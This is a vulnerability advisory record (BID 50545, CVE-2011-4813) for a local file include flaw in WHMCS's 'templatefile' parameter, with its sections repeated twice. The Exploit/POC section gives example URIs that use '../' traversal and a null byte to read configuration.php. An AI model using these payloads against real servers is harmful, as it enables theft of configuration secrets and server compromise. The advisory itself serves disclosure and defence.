WHMCS 'templatefile' Parameter Local File Include Vulnerability
BID:50545
Info
WHMCS 'templatefile' Parameter Local File Include Vulnerability
| Bugtraq ID: | 50545 |
| Class: | Input Validation Error |
| CVE: |
CVE-2011-4813 |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 04 2011 12:00AM |
| Updated: | Dec 15 2011 07:38PM |
| Credit: | red virus |
| Vulnerable: |
WHMCS WHMCS 3.7.1 WHMCS WHMCS 0 |
| Not Vulnerable: | |
Discussion
WHMCS 'templatefile' Parameter Local File Include Vulnerability
WHMCS is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied input.
An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the Web server process. This may allow the attacker to compromise the application and computer; other attacks are also possible.
WHMCS is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied input.
An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the Web server process. This may allow the attacker to compromise the application and computer; other attacks are also possible.
Exploit / POC
WHMCS 'templatefile' Parameter Local File Include Vulnerability
Attackers can use a browser to exploit this issue.
The following example URIs are available:
http://www.example.com/[PATH]/clientarea.php?action=[wrong_value]&templatefile=[LFD]%00
http://www.example.com/clientarea.php?action=red&templatefile=../../configuration.php%00
Attackers can use a browser to exploit this issue.
The following example URIs are available:
http://www.example.com/[PATH]/clientarea.php?action=[wrong_value]&templatefile=[LFD]%00
http://www.example.com/clientarea.php?action=red&templatefile=../../configuration.php%00
Solution / Fix
WHMCS 'templatefile' Parameter Local File Include Vulnerability
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
WHMCS 'templatefile' Parameter Local File Include Vulnerability
References:
References:
- WHMCompleteSolution Homepage (Whmcs)